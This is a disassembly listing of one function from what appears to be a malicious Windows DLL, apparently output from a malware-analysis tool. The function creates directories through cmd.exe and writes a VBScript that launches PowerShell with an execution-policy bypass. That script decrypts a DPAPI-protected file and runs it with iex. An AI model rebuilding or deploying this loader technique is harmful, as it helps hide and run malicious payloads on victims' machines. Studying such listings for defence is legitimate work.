Function at 0x180012808
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x188]
sub rsp, 0x260
mov qword [rbp + 0x100], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov r15, r9
mov rsi, r8
mov rbx, rdx
mov r14, rcx
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x88], xmm0
xor r12d, r12d
mov qword [rbp + 0x98], r12
mov byte [rsp + 0x20], r12b
lea r8, [rsp + 0x20]
lea rcx, [rbp + 0x88]
call fcn.180013034
xor r9d, r9d
lea r8d, [r12 + 0x23]
mov rdi, qword [rbp + 0x88]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x180012896
lea ebx, [rax + 2]
jmp 0x180012fe1
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], r12
mov r13d, SafeArrayLock
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x48], r12b
cmp byte [rdi], r12b
jne 0x1800128bf
mov r8, r12
jmp 0x1800128cc
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], r12b
jne 0x1800128c3
mov rdx, rdi
lea rcx, [rsp + 0x48]
call fcn.180006768
nop
cmp qword [rsp + 0x58], r12
jne 0x1800128eb
mov ebx, 2
jmp 0x180012994
mov r8, rsi
lea rdx, [0x1801aa070]
lea rcx, [rsp + 0x28]
call fcn.180011b58
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.180008e30
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x180012933
inc rdx
mov r8d, 1
mov rcx, qword [rsp + 0x28]
call fcn.1800060dc
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov byte [rsp + 0x28], r12b
lea rax, [rsp + 0x48]
mov rsi, qword [rbp + 0x1b0]
cmp rsi, rax
je 0x180012967
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0x48]
mov rcx, rsi
call fcn.180006868
cmp byte [rbp + 0x1c0], r12b
je 0x180012977
mov ebx, 1
jmp 0x180012994
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rcx, qword [rsp + 0x48]
call fcn.180012660
test eax, eax
je 0x18001299e
mov ebx, r12d
mov esi, reloc.WS2_32.dll_recv
jmp 0x180012fb5
mov qword [rbp - 8], r12
mov qword [rbp], r12
mov qword [rbp], r13
mov qword [rbp - 8], r12
mov byte [rbp - 0x18], r12b
mov r8d, 7
lea rdx, str._mkdir
lea rcx, [rbp - 0x18]
call fcn.180006768
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp - 0x18]
call fcn.180008e30
mov r8d, 1
lea rdx, [0x1801aa0cc]
lea rcx, [rbp - 0x18]
call fcn.180008cf8
lea r8, [rbp - 0x18]
lea rdx, str.cmd.exe__c
lea rcx, [rsp + 0x28]
call fcn.180011b58
nop
cmp qword [rax + 0x18], 0x10
jb 0x180012a12
mov rax, qword [rax]
mov rcx, rax
call fcn.18002e620
mov esi, eax
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x180012a3a
inc rdx
mov r8d, 1
mov rcx, qword [rsp + 0x28]
call fcn.1800060dc
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov byte [rsp + 0x28], r12b
test esi, esi
je 0x180012a54
mov ecx, esi
call fcn.180012624
lea r8, [0x1801aa070]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x28]
call fcn.180013248
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.180013334
nop
mov rdx, qword [rsp + 0x40]
mov esi, reloc.WS2_32.dll_recv
lea r15d, [rsi - 0xf]
cmp rdx, rsi
jb 0x180012aa1
inc rdx
mov r8d, r15d
mov rcx, qword [rsp + 0x28]
call fcn.1800060dc
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov byte [rsp + 0x28], r12b
lea r8, str..log
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x68]
call fcn.180013248
nop
lea r8, str..mnx
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0xe0]
call fcn.180013248
nop
lea r8, str..bin
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x48]
call fcn.180013248
nop
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x28], r12
mov byte [rbp - 0x38], r12b
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, qword [rbp + 0x1b8]
lea rcx, [rbp - 0x38]
call fcn.180006868
nop
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x58], r12b
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp + 0xe0]
lea rcx, [rbp - 0x58]
call fcn.180006868
nop
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x80], r13
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x68], r12b
mov r8d, 0x1aa
lea rdx, str.Set_objShell__CreateObject__Wscript.Shell___r_nobjShell.Run__powershell__ep_bypass__Command__y___System.IO.File_::ReadAllBytes_my_application_path___Add_Type__AssemblyName_System.Security___y1___System.Security.Cryptography.DataProtectionScope_::LocalMachine___y3___System.Security.Cryptography.ProtectedData_::Unprotect__y___null___y1____y4___System.Text.Encoding_::ASCII.GetString__Byte____y3____y4__iex_____0___1_r_n
lea rcx, [rsp + 0x68]
call fcn.180006768
nop
mov qword [rbp + 0x18], r12
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x18], r12
mov byte [rbp + 8], r12b
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetLBound
lea rdx, str.my_application_path
lea rcx, [rbp + 8]
call fcn.180006768
nop
lea r8, [rsp + 0x68]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x68]
call fcn.18002c438
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, rsi
jb 0x180012bd8
inc rdx
mov r8, r15
mov rcx, qword [rbp + 8]
call fcn.1800060dc
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x18], r12
mov byte [rbp + 8], r12b
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], rsi
cmovae rdx, qword [rsp + 0x68]
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], rsi
cmovae rcx, qword [rbp - 0x58]
mov r8d, dword [rsp + 0x78]
call fcn.18002c0c0
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], rsi
cmovae rdx, qword [rbp - 0x38]
lea rcx, [rbp + 0x28]
call fcn.180012684
nop
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], rsi
cmovae rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x48]
cmp qword [rbp + 0x60], rsi
cmovae rcx, qword [rbp + 0x48]
mov r8d, dword [rbp + 0x38]
call fcn.18002c0c0
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x68], r12
mov byte [rbp - 0x78], r12b
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov byte [rsp + 0x28], r12b
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetLBound
lea rdx, str.my_application_path
lea rcx, [rsp + 0x28]
call fcn.180006768
nop
mov r8, rbx
lea rdx, [rsp + 0x28]
lea rcx, [rbp + 0x48]
call fcn.18002c438
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, rsi
jb 0x180012cb5
inc rdx
mov r8, r15
mov rcx, qword [rsp + 0x28]
call fcn.1800060dc
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov byte [rsp + 0x28], r12b
cmp qword [r14 + 0x10], r12
je 0x180012d35
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov byte [rsp + 0x28], r12b
mov r8d, SafeArrayLock
lea rdx, str.DllRegisterServer
lea rcx, [rsp + 0x28]
call fcn.180006768
nop
mov r8, rbx
lea rdx, [rsp + 0x28]
mov rcx, r14
call fcn.18002c438
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, rsi
jb 0x180012d26
inc rdx
mov r8, r15
mov rcx, qword [rsp + 0x28]
call fcn.1800060dc
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov byte [rsp + 0x28], r12b
lea rcx, [rbp + 0x110]
call fcn.180023a34
nop
lea r14, vtable.CMachineProtectedData.0
mov qword [rbp + 0x110], r14
mov rax, qword [rbx + 0x10]
cmp qword [rbx + 0x18], rsi
jb 0x180012d5d
mov rbx, qword [rbx]
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp + 0x110]
call fcn.180023ab0
lea rcx, [rbp + 0x110]
call fcn.180023abc
mov r8d, dword [rax]
mov rdx, qword [rax + 8]
lea rcx, [rbp - 0x78]
call fcn.180006768
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], rsi
cmovae rdx, qword [rbp - 0x78]
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], rsi
cmovae rcx, qword [rbp + 0x68]
mov r8d, dword [rbp - 0x68]
call fcn.18002c0c0
call fcn.180001150
lea r8, [rbp - 0x58]
lea rdx, str._E:vbscript
lea rcx, [rbp + 0xc0]
call fcn.180011b58
nop
lea rcx, [rbp + 0xc0]
call fcn.180029140
mov ebx, 3
mov rdx, qword [rbp + 0xd8]
cmp rdx, rsi
jb 0x180012dfd
inc rdx
mov r8, r15
mov rcx, qword [rbp + 0xc0]
call fcn.1800060dc
mov qword [rbp + 0xd8], r13
mov qword [rbp + 0xd0], r12
mov byte [rbp + 0xc0], r12b
mov qword [rbp + 0x110], r14
lea rcx, [rbp + 0x110]
call fcn.180023aa4
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, rsi
jb 0x180012e3e
inc rdx
mov r8, r15
mov rcx, qword [rbp - 0x78]
call fcn.1800060dc
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x68], r12
mov byte [rbp - 0x78], r12b
mov rdx, qword [rbp + 0x40]
cmp rdx, rsi
jb 0x180012e62
inc rdx
mov r8, r15
mov rcx, qword [rbp + 0x28]
call fcn.1800060dc
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x38], r12
mov byte [rbp + 0x28], r12b
mov rdx, qword [rbp - 0x80]
cmp rdx, rsi
jb 0x180012e87
inc rdx
mov r8, r15
mov rcx, qword [rsp + 0x68]
call fcn.1800060dc
mov qword [rbp - 0x80], r13
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x68], r12b
mov rdx, qword [rbp - 0x40]
cmp rdx, rsi
jb 0x180012ead
inc rdx
mov r8, r15
mov rcx, qword [rbp - 0x58]
call fcn.1800060dc
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x58], r12b
mov rdx, qword [rbp - 0x20]
cmp rdx, rsi
jb 0x180012ed1
inc rdx
mov r8, r15
mov rcx, qword [rbp - 0x38]
call fcn.1800060dc
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x28], r12
mov byte [rbp - 0x38], r12b
mov rdx, qword [rbp + 0x60]
cmp rdx, rsi
jb 0x180012ef5
inc rdx
mov r8, r15
mov rcx, qword [rbp + 0x48]
call fcn.1800060dc
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x58], r12
mov byte [rbp + 0x48], r12b
mov rdx, qword [rbp + 0xf8]
cmp rdx, rsi
jb 0x180012f1f
inc rdx
mov r8, r15
mov rcx, qword [rbp + 0xe0]
call fcn.1800060dc
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0xf0], r12
mov byte [rbp + 0xe0], r12b
mov rdx, qword [rbp + 0x80]
cmp rdx, rsi
jb 0x180012f4f
inc rdx
mov r8, r15
mov rcx, qword [rbp + 0x68]
call fcn.1800060dc
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x78], r12
mov byte [rbp + 0x68], r12b
mov rdx, qword [rbp + 0xb8]
cmp rdx, rsi
jb 0x180012f7c
inc rdx
mov r8, r15
mov rcx, qword [rbp + 0xa0]
call fcn.1800060dc
mov qword [rbp + 0xb8], r13
mov qword [rbp + 0xb0], r12
mov byte [rbp + 0xa0], r12b
mov rdx, qword [rbp]
cmp rdx, rsi
jb 0x180012fa9
inc rdx
mov r8, r15
mov rcx, qword [rbp - 0x18]
call fcn.1800060dc
mov qword [rbp], r13
mov qword [rbp - 8], r12
mov byte [rbp - 0x18], r12b
mov rdx, qword [rsp + 0x60]
cmp rdx, rsi
jb 0x180012fd2
inc rdx
mov r8d, 1
mov rcx, qword [rsp + 0x48]
call fcn.1800060dc
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x48], r12b
test rdi, rdi
je 0x180013010
mov rdx, qword [rbp + 0x98]
sub rdx, rdi
mov r8d, 1
mov rcx, rdi
call fcn.1800060dc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], r12
mov eax, ebx
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret